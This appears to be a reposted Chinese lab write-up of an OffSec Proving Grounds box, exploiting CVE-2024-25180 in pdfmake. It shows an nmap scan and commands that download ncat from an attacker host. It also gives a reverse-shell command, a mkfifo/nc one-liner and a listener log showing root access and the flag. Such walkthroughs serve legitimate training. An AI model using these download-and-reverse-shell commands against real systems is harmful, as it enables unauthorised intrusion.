当前位置: 首页 > news >正文

OSCP - Proving Grounds - CVE-2024-25180

主要知识点

  • 相关cve漏洞利用

具体步骤

nmap开始两个端口开放,22和1234

Nmap scan report for 192.168.54.42
Host is up (0.00069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
1234/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

其中1234端口开放了一个pdfmake,虽然不知道具体的版本,不过google一下 发现CVE-2024-25180排名比较靠前,于是尝试一下Arbitrary Code Injection in pdfmake | CVE-2024-25180 | Snyk

将PoC中的CMD替换成下面的命令依次执行

  1. wget 192.168.45.225:8000/ncat -O /tmp/ncat
  2. chmod +x /tmp/ncat
  3. /tmp/ncat -e /bin/bash 192.168.45.225 80

反弹shell就会被创建,这里其实有别的方法,不用这么麻烦,一条命令 rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc192.168.45.225 80>/tmp/f 也可以

C:\home\kali\Documents\OFFSEC\GoToWork\CVE-2024-25180> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.225] from (UNKNOWN) [192.168.216.42] 51610
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/proof.txt
304d16aa1f75f007766dafa3eed9ec03

 

 

 

 

http://www.dtcms.com/a/333671.html

相关文章:

  • 基于WSL搭建Ubuntu 22.04.x LTS开发环境
  • LLM - 使用 SGLang 部署 Qwen3-32B 与 Qwen2.5-VL-32B-Instruct
  • 《GUI-Actor: Coordinate-Free Visual Grounding for GUI Agents》论文精读笔记
  • 今日分享:C++模板(全详解)
  • 大数据系列之:设置CMS垃圾收集器
  • std::set_symmetric_difference
  • 第七十三章:AI的“黑箱”迷局:推理链路中的断点与Tensor调试——让模型“交代一切”!
  • CCS双轴相位偏移光源 让浅凹痕无处遁形
  • 【Redis】超详细基础入门学习
  • 硬件开发_基于STM32单片机的热水壶系统
  • GitHub的使用教程
  • Upload 上传 vue2前端 + 后端
  • 【DDIA】第二部分:分布式数据
  • 【大模型微调系列-02】 深度学习与大模型初识
  • Java Lambda表达式是什么,怎么用
  • C语言笔记6:C高级 part1
  • Go从入门到精通系列学习路线规划
  • 区块链技术原理(13)-以太坊燃料费Gas
  • ITM(仪器跟踪宏单元)是什么?
  • Elasticsearch赋能规章制度智能检索:从海量文档到秒级响应
  • PyInstaller打包Python应用操作备忘
  • 学习嵌入式之硬件——I2C
  • Redis7学习--管道
  • P4069 [SDOI2016] 游戏 Solution
  • “社保新规”9月施行,内容、影响与时代意义
  • Ansible 学习笔记:变量事实管理、任务控制与文件部署
  • 分布式锁的具体实现和原理分析
  • 无线收发模块高效协同:EMS系统监控、交互、执行端同步通讯
  • SpringCloud学习
  • 现金流分析与预测提示词设计指南:从基础到复杂场景的实用框架